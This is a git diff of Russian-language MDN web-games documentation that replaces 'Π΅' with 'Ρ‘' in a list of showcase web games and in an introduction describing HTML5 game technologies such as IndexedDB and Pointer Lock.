- <dd><span id="result_box" lang="ru"><span>ΠœΠ½ΠΎΠ³ΠΎΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠΉ Ρ‚Ρ€Π΅Ρ…ΠΌΠ΅Ρ€Π½Ρ‹ΠΉ ΡˆΡƒΡ‚Π΅Ρ€ ΠΎΡ‚ ΠΏΠ΅Ρ€Π²ΠΎΠ³ΠΎ Π»ΠΈΡ†Π°, Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Π°Π½Π½Ρ‹ΠΉ с использованиСм Emscripten, WebGL ΠΈ WebRTC.</span> <span>Одна ΠΈΠ· ΠΏΠ΅Ρ€Π²Ρ‹Ρ… дСмонстрационных ΠΈΠ³Ρ€ для WebGL.</span></span></dd>
+ <dd><span id="result_box" lang="ru"><span>ΠœΠ½ΠΎΠ³ΠΎΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠΉ Ρ‚Ρ€Ρ‘Ρ…ΠΌΠ΅Ρ€Π½Ρ‹ΠΉ ΡˆΡƒΡ‚Π΅Ρ€ ΠΎΡ‚ ΠΏΠ΅Ρ€Π²ΠΎΠ³ΠΎ Π»ΠΈΡ†Π°, Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Π°Π½Π½Ρ‹ΠΉ с использованиСм Emscripten, WebGL ΠΈ WebRTC.</span> <span>Одна ΠΈΠ· ΠΏΠ΅Ρ€Π²Ρ‹Ρ… дСмонстрационных ΠΈΠ³Ρ€ для WebGL.</span></span></dd>
<dt><a href="https://hacks.mozilla.org/2013/12/monster-madness-creating-games-on-the-web-with-emscripten/">Monster Madness</a></dt>
<dd><span id="result_box" lang="ru"><span>Π‘Π΅Ρ‚Π΅Π²ΠΎΠΉ ΡˆΡƒΡ‚Π΅Ρ€ Π½Π° основС WebGL ΠΈ asm.js, Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Π°Π½Π½Ρ‹ΠΉ Nom Nom Games ΠΈ Trendy entertainment.</span></span></dd>
<dt><a href="http://www.auraluxgame.com/game/">Auralux</a></dt>
<dd><span id="result_box" lang="ru"><span>БтратСгия WebGL ΠΈ asm.js: Π·Π°Ρ…Π²Π°Ρ‚ΠΈΡ‚Π΅ всС солнца, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ±Π΅Π΄ΠΈΡ‚ΡŒ!</span></span></dd>
<dt><a href="http://playcanv.as/p/JtL2iqIH">Swooop</a></dt>
- <dd><span id="result_box" lang="ru"><span>ΠŸΠΎΠ»Ρ‘Ρ‚ Π½Π° самолётС Π² ΠΈΠ³Ρ€Π΅: ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΠΈΡ€ΡƒΠΉΡ‚Π΅ свой самолСт ΠΈ собирайтС драгоцСнности.</span> <span>Π‘Π½ΠΎΠ²Π°, созданный с</span></span> <a href="https://playcanvas.com/">PlayCanvas</a>.</dd>
+ <dd><span id="result_box" lang="ru"><span>ΠŸΠΎΠ»Ρ‘Ρ‚ Π½Π° самолётС Π² ΠΈΠ³Ρ€Π΅: ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΠΈΡ€ΡƒΠΉΡ‚Π΅ свой самолёт ΠΈ собирайтС драгоцСнности.</span> <span>Π‘Π½ΠΎΠ²Π°, созданный с</span></span> <a href="https://playcanvas.com/">PlayCanvas</a>.</dd>
<dt><a href="https://ga.me/games/polycraft">Polycraft</a></dt>
<dd><span id="result_box" lang="ru"><span>ΠšΠΎΡ€Π°Π±Π»Π΅ΠΊΡ€ΡƒΡˆΠ΅Π½ΠΈΠ΅.</span> <span>Π˜ΡΡΠ»Π΅Π΄ΡƒΠΉΡ‚Π΅ остров ΠΈ ΠΏΠΎΠ±Π΅Π΄ΠΈΡ‚Π΅ монстров.</span></span></dd>
<dt><a href="http://beta.unity3d.com/jonas/DT2/">Dead Trigger 2</a></dt>
diff --git a/files/ru/games/introduction/index.html b/files/ru/games/introduction/index.html
index 8db80d6d2d..088d012235 100644
--- a/files/ru/games/introduction/index.html
+++ b/files/ru/games/introduction/index.html
@@ -14,7 +14,7 @@ original_slug: Games/Π’Π²ΠΎΠ΄
<p>Π‘ΠΎΠ²Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹ΠΉ web позволяСт нС Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΏΠ΅Ρ€Π΅Π΄Π°Π²Π°Ρ‚ΡŒ Ρ€Π°Π·Π»ΠΈΡ‡Π½ΡƒΡŽ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ, Π½ΠΎ ΠΈ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ ΠΈΠ½Ρ‚Π΅Ρ€Π°ΠΊΡ‚ΠΈΠ²Π½Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚. НапримСр, ΠΏΠΎΡ‚Ρ€ΡΡΠ°ΡŽΡ‰ΠΈΠ΅, высококачСствСнныС ΠΈΠ³Ρ€Ρ‹.</p>
-<p>Π”ΠΈΠ°ΠΏΠ°Π·ΠΎΠ½ ΠΈΠ³Ρ€, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²ΡΡ‚Ρ€Π΅Ρ‚ΠΈΡ‚ΡŒ Π² web ΠΏΠΎΡ€Π°ΠΆΠ°Π΅Ρ‚ ΠΈ Π½Π΅ уступаСт "Π½Π°Ρ‚ΠΈΠ²Π½Ρ‹ΠΌ" ΠΈΠ³Ρ€Π°ΠΌ, Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Π½Π½Ρ‹ΠΌ с использованиСм языка программирования c++ ΠΈ java.ΠŸΡ€ΠΈΡ‡Π΅ΠΌ это касаСтся Π½Π΅ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΒ Π½Π΅Π±ΠΎΠ»ΡŒΡˆΠΈΡ… ΠΈΠ³Ρ€, Π½ΠΎ ΠΈ ΠΎΠ±ΡŠΠ΅ΠΌΠ½Ρ‹Ρ… ΠΈΠ³Ρ€ ΠΆΠ°Π½Ρ€Π° Π ΠŸΠ“, 3d ΡˆΡƒΡ‚Π΅Ρ€Π°Ρ… ΠΈ ΠΌΠ½ΠΎΠ³ΠΎΠΌ Π΄Ρ€ΡƒΠ³ΠΎΠΌ.Β Π­Ρ‚ΠΎ ΡƒΠΆΠ΅ Π½Π΅ Π°Π½Π°Π»ΠΎΠ³ΠΈ простых ΠΊΠ°Ρ€Ρ‚ΠΎΡ‡Π½Ρ‹Ρ… ΠΈΠ³Ρ€ ΠΈΠ»ΠΈ ΠΌΠ½ΠΎΠ³ΠΎΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΡ… ΡΠΎΡ†ΠΈΠ°Π»ΡŒΠ½Ρ‹Ρ… ΠΈΠ³Ρ€Π°Ρ…, Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Π½Π½Ρ‹Ρ… с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ FlashΒ, Π° Π³ΠΎΡ€Π°Π·Π΄ΠΎ Π±ΠΎΠ»Π΅Π΅ слоТныС Π²Π΅Ρ‰ΠΈ. Благодаря Π·Π½Π°Ρ‡ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΌ ΡƒΠ»ΡƒΡ‡ΡˆΠ΅Π½ΠΈΡΠΌ языка программирования JavaScript ΠΈ появлСнию Π½ΠΎΠ²Ρ‹Ρ… API Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°, Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ ΠΈΠ³Ρ€Ρ‹, Π½Π΅ зависящиС ΠΎΡ‚ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΎΠ½Π½ΠΎΠΉ систСмы. Для ΠΈΡ… Ρ€Π°Π±ΠΎΡ‚Ρ‹ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€. А ΠΈΠ½ΠΎΠ³Π΄Π°, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Π½Π° устройствах с ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠΎΠΉΒ <a href="https://developer.mozilla.org/en-US/docs/HTML/HTML5">HTML5</a>, Ρ‚Π°ΠΊΠΈΡ… ΠΊΠ°ΠΊ <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Firefox_OS">Firefox OS</a>, Π½Π΅ Π½ΡƒΠΆΠ΅Π½ Π΄Π°ΠΆΠ΅ ΠΎΠ½.</p>
+<p>Π”ΠΈΠ°ΠΏΠ°Π·ΠΎΠ½ ΠΈΠ³Ρ€, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²ΡΡ‚Ρ€Π΅Ρ‚ΠΈΡ‚ΡŒ Π² web ΠΏΠΎΡ€Π°ΠΆΠ°Π΅Ρ‚ ΠΈ Π½Π΅ уступаСт "Π½Π°Ρ‚ΠΈΠ²Π½Ρ‹ΠΌ" ΠΈΠ³Ρ€Π°ΠΌ, Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Π½Π½Ρ‹ΠΌ с использованиСм языка программирования c++ ΠΈ java.ΠŸΡ€ΠΈΡ‡Ρ‘ΠΌ это касаСтся Π½Π΅ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΒ Π½Π΅Π±ΠΎΠ»ΡŒΡˆΠΈΡ… ΠΈΠ³Ρ€, Π½ΠΎ ΠΈ ΠΎΠ±ΡŠΡ‘ΠΌΠ½Ρ‹Ρ… ΠΈΠ³Ρ€ ΠΆΠ°Π½Ρ€Π° Π ΠŸΠ“, 3d ΡˆΡƒΡ‚Π΅Ρ€Π°Ρ… ΠΈ ΠΌΠ½ΠΎΠ³ΠΎΠΌ Π΄Ρ€ΡƒΠ³ΠΎΠΌ.Β Π­Ρ‚ΠΎ ΡƒΠΆΠ΅ Π½Π΅ Π°Π½Π°Π»ΠΎΠ³ΠΈ простых ΠΊΠ°Ρ€Ρ‚ΠΎΡ‡Π½Ρ‹Ρ… ΠΈΠ³Ρ€ ΠΈΠ»ΠΈ ΠΌΠ½ΠΎΠ³ΠΎΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΡ… ΡΠΎΡ†ΠΈΠ°Π»ΡŒΠ½Ρ‹Ρ… ΠΈΠ³Ρ€Π°Ρ…, Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Π½Π½Ρ‹Ρ… с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ FlashΒ, Π° Π³ΠΎΡ€Π°Π·Π΄ΠΎ Π±ΠΎΠ»Π΅Π΅ слоТныС Π²Π΅Ρ‰ΠΈ. Благодаря Π·Π½Π°Ρ‡ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΌ ΡƒΠ»ΡƒΡ‡ΡˆΠ΅Π½ΠΈΡΠΌ языка программирования JavaScript ΠΈ появлСнию Π½ΠΎΠ²Ρ‹Ρ… API Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°, Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ ΠΈΠ³Ρ€Ρ‹, Π½Π΅ зависящиС ΠΎΡ‚ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΎΠ½Π½ΠΎΠΉ систСмы. Для ΠΈΡ… Ρ€Π°Π±ΠΎΡ‚Ρ‹ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€. А ΠΈΠ½ΠΎΠ³Π΄Π°, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Π½Π° устройствах с ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠΎΠΉΒ <a href="https://developer.mozilla.org/en-US/docs/HTML/HTML5">HTML5</a>, Ρ‚Π°ΠΊΠΈΡ… ΠΊΠ°ΠΊ <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Firefox_OS">Firefox OS</a>, Π½Π΅ Π½ΡƒΠΆΠ΅Π½ Π΄Π°ΠΆΠ΅ ΠΎΠ½.</p>
<h2 id="Π˜Π³Ρ€ΠΎΠ²Π°Ρ_ΠΏΠ»Π°Ρ‚Ρ„ΠΎΡ€ΠΌΠ°_HTML5">Π˜Π³Ρ€ΠΎΠ²Π°Ρ ΠΏΠ»Π°Ρ‚Ρ„ΠΎΡ€ΠΌΠ° HTML5</h2>
@@ -75,7 +75,7 @@ original_slug: Games/Π’Π²ΠΎΠ΄
<p>6. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡƒΠΏΡ€Π°Π²Π»ΡΡ‚ΡŒ своими ΠΎΡ‚Π½ΠΎΡˆΠ΅Π½ΠΈΡΠΌΠΈ с ΠΊΠ»ΠΈΠ΅Π½Ρ‚Π°ΠΌΠΈ Π±ΠΎΠ»Π΅Π΅ тСсно, ΠΏΠΎ-своСму. Π‘ΠΎΠ»ΡŒΡˆΠ΅ Π½Π΅ придётся Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ с ΠΎΠ±Ρ€Π°Ρ‚Π½ΠΎΠΉ связью магазина ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ. ВзаимодСйствуйтС со своими ΠΊΠ»ΠΈΠ΅Π½Ρ‚Π°ΠΌΠΈ Ρ‚Π°ΠΊ, ΠΊΠ°ΠΊ Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅, Π±Π΅Π· посрСдника.</p>
-<p>7. Π’Π°ΡˆΠΈ ΠΈΠ³Ρ€ΠΎΠΊΠΈ ΠΌΠΎΠ³ΡƒΡ‚ ΠΈΠ³Ρ€Π°Ρ‚ΡŒ Π² Π²Π°ΡˆΡƒ ΠΈΠ³Ρ€Ρƒ Π² любом мСстС, Π² любоС врСмя. ΠŸΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ Web распространСн повсСмСстно, ваши ΠΊΠ»ΠΈΠ΅Π½Ρ‚Ρ‹ ΠΌΠΎΠ³ΡƒΡ‚ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ статус своСй ΠΈΠ³Ρ€Ρ‹ Π½Π° своих Ρ‚Π΅Π»Π΅Ρ„ΠΎΠ½Π°Ρ…, ΠΏΠ»Π°Π½ΡˆΠ΅Ρ‚Π°Ρ…, Π΄ΠΎΠΌΠ°ΡˆΠ½ΠΈΡ… Π½ΠΎΡƒΡ‚Π±ΡƒΠΊΠ°Ρ…, Ρ€Π°Π±ΠΎΡ‡ΠΈΡ… столах ΠΈΠ»ΠΈ Π½Π° Ρ‡Π΅ΠΌ-Π»ΠΈΠ±ΠΎ Π΅Ρ‰Π΅.</p>
+<p>7. Π’Π°ΡˆΠΈ ΠΈΠ³Ρ€ΠΎΠΊΠΈ ΠΌΠΎΠ³ΡƒΡ‚ ΠΈΠ³Ρ€Π°Ρ‚ΡŒ Π² Π²Π°ΡˆΡƒ ΠΈΠ³Ρ€Ρƒ Π² любом мСстС, Π² любоС врСмя. ΠŸΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ Web распространён повсСмСстно, ваши ΠΊΠ»ΠΈΠ΅Π½Ρ‚Ρ‹ ΠΌΠΎΠ³ΡƒΡ‚ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ статус своСй ΠΈΠ³Ρ€Ρ‹ Π½Π° своих Ρ‚Π΅Π»Π΅Ρ„ΠΎΠ½Π°Ρ…, ΠΏΠ»Π°Π½ΡˆΠ΅Ρ‚Π°Ρ…, Π΄ΠΎΠΌΠ°ΡˆΠ½ΠΈΡ… Π½ΠΎΡƒΡ‚Π±ΡƒΠΊΠ°Ρ…, Ρ€Π°Π±ΠΎΡ‡ΠΈΡ… столах ΠΈΠ»ΠΈ Π½Π° Ρ‡Π΅ΠΌ-Π»ΠΈΠ±ΠΎ Π΅Ρ‰Π΅.</p>
<h2 id="Web-Ρ‚Π΅Ρ…Π½ΠΎΠ»ΠΎΠ³ΠΈΠΈ_для_Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΎΠ²_ΠΈΠ³Ρ€">Web-Ρ‚Π΅Ρ…Π½ΠΎΠ»ΠΎΠ³ΠΈΠΈ для Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΎΠ² ΠΈΠ³Ρ€</h2>
@@ -92,22 +92,22 @@ original_slug: Games/Π’Π²ΠΎΠ΄
<dt><a href="/en-US/docs/HTML/Element/audio" title="/en-US/docs/HTML/Element/audio">HTML audio</a></dt>
<dd>Π­Π»Π΅ΠΌΠ΅Π½Ρ‚ {{HTMLElement ("audio")}} позволяСт Π»Π΅Π³ΠΊΠΎ Π²ΠΎΡΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚ΡŒ простыС Π·Π²ΡƒΠΊΠΎΠ²Ρ‹Π΅ эффСкты ΠΈ ΠΌΡƒΠ·Ρ‹ΠΊΡƒ. Если вашС потрСбности Π²Ρ‹ΡˆΠ΅, ΠΎΠ·Π½Π°ΠΊΠΎΠΌΡŒΡ‚Π΅ΡΡŒ с Web Audio API для ΠΏΠΎΠ»Π½ΠΎΠΉ мощности обработки Π·Π²ΡƒΠΊΠ°!</dd>
<dt><a href="/en-US/docs/IndexedDB" title="/en-US/docs/IndexedDB">IndexedDB</a></dt>
- <dd>ΠœΠΎΡ‰Π½Ρ‹ΠΉ API для хранСния ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΡ… Π΄Π°Π½Π½Ρ‹Ρ… Π½Π° собствСнном ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π΅ ΠΈΠ»ΠΈ устройствС. ΠžΡ‚Π»ΠΈΡ‡Π½Ρ‹ΠΉ способ локально ΡΠΎΡ…Ρ€Π°Π½ΠΈΡ‚ΡŒ состояниС ΠΈΠ³Ρ€Ρ‹ ΠΈ Π΄Ρ€ΡƒΠ³ΡƒΡŽ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ, Π±Π΅Π· Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎΡΡ‚ΠΈΒ ΠΏΠΎΠ΄Π³Ρ€ΡƒΠΆΠ°Ρ‚ΡŒ Π΅Π΅ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ Ρ€Π°Π·Β ΠΏΡ€ΠΈ нСобходимости. Π’Π°ΠΊΠΆΠ΅ ΠΏΠΎΠ»Π΅Π·Π½ΠΎ для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ ваш ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Β ΠΈΠ³Ρ€Π°Π±Π΅Π»ΡŒΠ½Ρ‹ΠΌ, Π΄Π°ΠΆΠ΅ Ссли ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Π½Π΅ ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π΅Π½ ΠΊ Π˜Π½Ρ‚Π΅Ρ€Π½Π΅Ρ‚Ρƒ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΊΠΎΠ³Π΄Π° ΠΎΠ½ оказался в самолСтС Π½Π° нСсколько часов).</dd>
+ <dd>ΠœΠΎΡ‰Π½Ρ‹ΠΉ API для хранСния ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΡ… Π΄Π°Π½Π½Ρ‹Ρ… Π½Π° собствСнном ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π΅ ΠΈΠ»ΠΈ устройствС. ΠžΡ‚Π»ΠΈΡ‡Π½Ρ‹ΠΉ способ локально ΡΠΎΡ…Ρ€Π°Π½ΠΈΡ‚ΡŒ состояниС ΠΈΠ³Ρ€Ρ‹ ΠΈ Π΄Ρ€ΡƒΠ³ΡƒΡŽ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ, Π±Π΅Π· Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎΡΡ‚ΠΈΒ ΠΏΠΎΠ΄Π³Ρ€ΡƒΠΆΠ°Ρ‚ΡŒ Π΅Ρ‘ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ Ρ€Π°Π·Β ΠΏΡ€ΠΈ нСобходимости. Π’Π°ΠΊΠΆΠ΅ ΠΏΠΎΠ»Π΅Π·Π½ΠΎ для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ ваш ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Β ΠΈΠ³Ρ€Π°Π±Π΅Π»ΡŒΠ½Ρ‹ΠΌ, Π΄Π°ΠΆΠ΅ Ссли ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Π½Π΅ ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Ρ‘Π½ ΠΊ Π˜Π½Ρ‚Π΅Ρ€Π½Π΅Ρ‚Ρƒ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΊΠΎΠ³Π΄Π° ΠΎΠ½ оказался в самолётС Π½Π° нСсколько часов).</dd>
<dt><a href="/en-US/docs/JavaScript" title="/en-US/docs/JavaScript">JavaScript</a></dt>
- <dd>JavaScript, язык программирования, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹ΠΉ Π² Π˜Π½Ρ‚Π΅Ρ€Π½Π΅Ρ‚Π΅, быстро развиваСтся Π² соврСмСнных Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ… ΠΈ становится Сщё быстрСС. Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ Π΅Π³ΠΎ возмоТности для написания кода своСй ΠΈΠ³Ρ€Ρ‹ ΠΈΠ»ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ Ρ‚Π°ΠΊΠΈΠ΅ Ρ‚Π΅Ρ…Π½ΠΎΠ»ΠΎΠ³ΠΈΠΈ, ΠΊΠ°ΠΊ Emscripten ΠΈΠ»ΠΈ Asm.js, Ρ‡Ρ‚ΠΎΠ±Ρ‹ с Π»Π΅Π³ΠΊΠΎΡΡ‚ΡŒΡŽΒ ΠΏΠ΅Ρ€Π΅Π½ΠΎΡΠΈΡ‚ΡŒ ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠ΅ ΠΈΠ³Ρ€Ρ‹.</dd>
+ <dd>JavaScript, язык программирования, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹ΠΉ Π² Π˜Π½Ρ‚Π΅Ρ€Π½Π΅Ρ‚Π΅, быстро развиваСтся Π² соврСмСнных Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ… ΠΈ становится Сщё быстрСС. Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ Π΅Π³ΠΎ возмоТности для написания кода своСй ΠΈΠ³Ρ€Ρ‹ ΠΈΠ»ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ Ρ‚Π°ΠΊΠΈΠ΅ Ρ‚Π΅Ρ…Π½ΠΎΠ»ΠΎΠ³ΠΈΠΈ, ΠΊΠ°ΠΊ Emscripten ΠΈΠ»ΠΈ Asm.js, Ρ‡Ρ‚ΠΎΠ±Ρ‹ с Π»Ρ‘Π³ΠΊΠΎΡΡ‚ΡŒΡŽΒ ΠΏΠ΅Ρ€Π΅Π½ΠΎΡΠΈΡ‚ΡŒ ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠ΅ ΠΈΠ³Ρ€Ρ‹.</dd>
<dt><a href="/en-US/docs/WebAPI/Pointer_Lock" title="/en-US/docs/WebAPI/Pointer_Lock">Pointer Lock API</a></dt>
- <dd>API Pointer Lock позволяСт Π±Π»ΠΎΠΊΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΌΡ‹ΡˆΡŒ ΠΈΠ»ΠΈ Π΄Ρ€ΡƒΠ³ΠΎΠ΅ ΡƒΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‰Π΅Π΅ устройство Π² интСрфСйсС вашСй ΠΈΠ³Ρ€Ρ‹. ВмСсто Π°Π±ΡΠΎΠ»ΡŽΡ‚Π½ΠΎΠ³ΠΎ позиционирования курсора Π²Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅Ρ‚Π΅ ΠΊΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ‚Ρ‹ Π΄Π΅Π»ΡŒΡ‚Ρ‹, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π΄Π°ΡŽΡ‚ Π²Π°ΠΌ Π±ΠΎΠ»Π΅Π΅ Ρ‚ΠΎΡ‡Π½Ρ‹Π΅ измСрСния Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ Π΄Π΅Π»Π°Π΅Ρ‚ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ, ΠΈ ΠΏΡ€Π΅Π΄ΠΎΡ‚Π²Ρ€Π°Ρ‰Π°ΡŽΡ‚ ΡΠ»ΡƒΡ‡Π°ΠΉΠ½ΡƒΡŽ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΡƒ Π²Π²ΠΎΠ΄Π°Β Π³Π΄Π΅-Ρ‚ΠΎ Π΅Ρ‰Π΅, Ρ‚Π΅ΠΌ самым упуская Π²Π°ΠΆΠ½Ρ‹Π΅ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠ΅ дСйствия.</dd>
+ <dd>API Pointer Lock позволяСт Π±Π»ΠΎΠΊΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΌΡ‹ΡˆΡŒ ΠΈΠ»ΠΈ Π΄Ρ€ΡƒΠ³ΠΎΠ΅ ΡƒΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‰Π΅Π΅ устройство Π² интСрфСйсС вашСй ΠΈΠ³Ρ€Ρ‹. ВмСсто Π°Π±ΡΠΎΠ»ΡŽΡ‚Π½ΠΎΠ³ΠΎ позиционирования курсора Π²Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅Ρ‚Π΅ ΠΊΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ‚Ρ‹ Π΄Π΅Π»ΡŒΡ‚Ρ‹, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π΄Π°ΡŽΡ‚ Π²Π°ΠΌ Π±ΠΎΠ»Π΅Π΅ Ρ‚ΠΎΡ‡Π½Ρ‹Π΅ измСрСния Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ Π΄Π΅Π»Π°Π΅Ρ‚ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ, ΠΈ ΠΏΡ€Π΅Π΄ΠΎΡ‚Π²Ρ€Π°Ρ‰Π°ΡŽΡ‚ ΡΠ»ΡƒΡ‡Π°ΠΉΠ½ΡƒΡŽ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΡƒ Π²Π²ΠΎΠ΄Π°Β Π³Π΄Π΅-Ρ‚ΠΎ Π΅Ρ‰Ρ‘, Ρ‚Π΅ΠΌ самым упуская Π²Π°ΠΆΠ½Ρ‹Π΅ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠ΅ дСйствия.</dd>
<dt></dt>
<dt><a href="/en-US/docs/SVG" title="/en-US/docs/SVG">SVG</a> (ΠΌΠ°ΡΡˆΡ‚Π°Π±ΠΈΡ€ΡƒΠ΅ΠΌΠ°Ρ вСкторная Π³Ρ€Π°Ρ„ΠΈΠΊΠ°)</dt>
